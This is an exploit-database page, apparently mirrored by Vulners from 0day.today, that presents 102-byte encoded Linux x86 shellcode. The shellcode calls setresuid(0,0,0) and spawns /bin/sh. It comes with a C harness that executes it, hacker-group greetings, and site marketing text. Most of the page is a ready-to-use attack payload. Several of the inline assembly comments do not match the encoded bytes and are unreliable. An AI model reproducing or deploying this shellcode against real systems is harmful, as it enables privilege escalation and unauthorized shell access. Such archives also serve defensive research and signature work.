Lucene search
K

linux/x86 sys_execve ["/bin/sh"] setresuid(0,0,0) exit(0) - 102 bytes

🗓️ 14 Jan 2012 00:00:00Reported by KedAns-DzType 
zdt
 zdt
🔗 0day.today👁 31 Views

linux/x86 sys_execve ["/bin/sh"] setresuid(0,0,0) exploit - 102 byte

Code
1-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=0
0     _                   __           __       __                     1
1   /' \            __  /'__`\        /\ \__  /'__`\                   0
0  /\_, \    ___   /\_\/\_\ \ \    ___\ \ ,_\/\ \/\ \  _ ___           1
1  \/_/\ \ /' _ `\ \/\ \/_/_\_<_  /'___\ \ \/\ \ \ \ \/\`'__\          0
0     \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/           1
1      \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\           0
0       \/_/\/_/\/_/\ \_\ \/___/  \/____/ \/__/ \/___/  \/_/           1
1                  \ \____/ >> Exploit database separated by exploit   0
0                   \/___/          type (local, remote, DoS, etc.)    1
1                                                                      1
0  [+] Site            : 1337day.com                                   0
1  [+] Support e-mail  : submit[at]1337day.com                         1
0                                                                      0
1               #########################################              1
0               I'm KedAns-Dz member from Inj3ct0r Team                1
1               #########################################              0
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-1

/*
###
# Title : linux/x86 sys_execve ["/bin/sh"] setresuid(0,0,0) exit(0) - 102 bytes (coded)
# Author : KedAns-Dz
# E-mail : [email protected] ([email protected]) | [email protected] | [email protected]
# Home : Hassi.Messaoud (30500) - Algeria -(00213555248701)
# Web Site : www.1337day.com * sec4ever.com * r00tw0rm.com
# Facebook : http://facebook.com/KedAns
# platform : linux/x86
# Type : Shellcode - 102 Bytes (encoded)
# Tested on : Linux.(Ubuntu 10.10) En
###

##
# I'm BaCk fr0m OURHOUD ^__^ .. I m!Ss tHe Explo!tInG <3 <3 ^_*
##

##
# | >> --------+++=[ Dz Offenders Cr3w ]=+++-------- << |
# | > Indoushka * KedAns-Dz * Caddy-Dz * Kalashinkov3   |
# | Jago-dz * Over-X * Kha&miX * Ev!LsCr!pT_Dz * Dr.55h |
# | KinG Of PiraTeS * The g0bl!n * soucha * dr.R!dE  .. |
# | ------------------------------------------------- < |
##

*/

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
 
char sc[] =
"\x31\xDB"          // xor %ebx,%ebx
"\x8D\x43\x0D"      // lea %eax,%ebx
"\xCD\x80"          // int $0x80
"\x66\x31\xC0"      // xor %ax,%ax
"\xDB\xD1"          // fcmovne %st,%st
"\x33\xC9"          // xor %ecx,%ecx
"\xB1\x11"          // mov %cl,$0x11
"\xD9\x74\x24\xF4"    // fstenv %esp
"\x5B"              // pop %ebx
"\x83\xC3\x04"      // add %ebx,$0x04
"\x31\x43\x11"      // xor dword %ebx $0x11,%eax
"\x03\x43\x11"      // add %eax,dword %ebx $0x11
"\xE2\xF5"          // loopd short (from me)
"\x31\xC9"          //  xor %ecx,%ecx
"\x31\x2E\xC6"      // xor dword %esi,%ebp 
"\x2A\x81\x74\xE4\x2D\x88"  // sub al,%ecx $0x882DE474
"\xAF"              // scas dword,%edi
"\x9D"              // popfd
"\x3A\x4C\x82\xE2"  // cmp %cl,%edx,%eax
"\x2F"              // das
"\x67\x44"          // inc %esp
"\x7A\xFD"          // jpe short (from me)
"\x11\x1C\x51"      // adc dword %ecx,%edx,%ebx
"\x61"              // popad
"\x57"              // push %edi
"\x3B\xC1"          // cmp %eax,%ecx
"\x4A"              // dec %edx
"\x14\xAB"          // adc %al,$0xAB
"\x12\xFD"          // adc %bh,%ch
"\xF5"              // cmc
"\x49"              // dec %ecx
"\x7A\x93"          // jpe short (me)
"\x80\x6E\x2E\x83"  // sub %esi,$0x2E,$0x83
"\x9B"              // wait
"\x70\xCF"          // jo short (me)
"\x53"              // push %ebx
"\xB3\x12"          // mov %bl,$0x12
"\xA6"              // cmps %esi,%edi
"\x3D\xE4\xA1\x50\xC2"  // cmp %eax,$0xC250A1E4
"\xAD"              // lods dword %esi
"\x16"              // push ss
"\x28\x23"          // sub %ebx,%ah
"\x9C"              // pushfd
"\x18\x1B"          // sbb %ebx,%bl
"\x7F\x75"          // jg short
"\x19\x04\xB2"      // sbb dword %edx %esi,%eax
"\x0A\x00";         // or %al,%eax

int main()
{
    int (*dz)() = (int(*)())sc;
        printf("bytes: %u\n", strlen(sc));
        dz();
}

#================[ Exploited By KedAns-Dz * Inj3ct0r Team * ]=====================================
# Greets To : Dz Offenders Cr3w < Algerians HaCkerS > || Rizky Ariestiyansyah * Islam Caddy ..
# + Greets To Inj3ct0r Operators Team : r0073r * Sid3^effectS * r4dc0re * CrosS (www.1337day.com) 
# Inj3ct0r Members 31337 : Indoushka * KnocKout * SeeMe * Kalashinkov3 * ZoRLu * anT!-Tr0J4n * 
# Angel Injection (www.1337day.com/team) * Dz Offenders Cr3w * Algerian Cyber Army * Sec4ever
# Exploit-ID Team : jos_ali_joe + Caddy-Dz + kaMtiEz + r3m1ck (exploit-id.com) * Jago-dz * Over-X
# Kha&miX * Str0ke * JF * Ev!LsCr!pT_Dz * KinG Of PiraTeS * www.packetstormsecurity.org * TreX
# www.metasploit.com * UE-Team & I-BackTrack * r00tw0rm.com * All Security and Exploits Webs ..
#================================================================================================


Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

14 Jan 2012 00:00Current
7.4High risk
Vulners AI Score7.4
31